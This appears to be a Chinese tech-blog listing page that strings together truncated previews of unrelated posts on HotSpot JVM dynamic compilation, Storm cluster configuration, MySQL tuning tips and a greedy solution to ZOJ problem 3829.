在config 下创建文件 database.js
java动态编译
olive6615
java HotSpot jvm 动态编译
在HotSpot虚拟机中,有两个技术是至关重要的,即动态编译(Dynamic compilation)和Profiling。
HotSpot是如何动态编译Javad的bytecode呢?Java bytecode是以解释方式被load到虚拟机的。HotSpot里有一个运行监视器,即Profile Monitor,专门监视
Storm0.9.5的集群部署配置优化
roadrunners
优化 storm.yaml
nimbus结点配置(storm.yaml)信息:
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional inf
101个MySQL 的调节和优化的提示
tomcat_oracle
mysql
1. 拥有足够的物理内存来把整个InnoDB文件加载到内存中——在内存中访问文件时的速度要比在硬盘中访问时快的多。 2. 不惜一切代价避免使用Swap交换分区 – 交换时是从硬盘读取的,它的速度很慢。 3. 使用电池供电的RAM(注:RAM即随机存储器)。 4. 使用高级的RAID(注:Redundant Arrays of Inexpensive Disks,即磁盘阵列
zoj 3829 Known Notation(贪心)
阿尔萨斯
ZOJ
题目链接:zoj 3829 Known Notation
题目大意:给定一个不完整的后缀表达式,要求有2种不同操作,用尽量少的操作使得表达式完整。
解题思路:贪心,数字的个数要要保证比∗的个数多1,不够的话优先补在开头是最优的。然后遍历一遍字符串,碰到数字+1,碰到∗-1,保证数字的个数大于等1,如果不够减的话,可以和最后面的一个数字交换位置(用栈维护十分方便),因为添加和交换代价都是1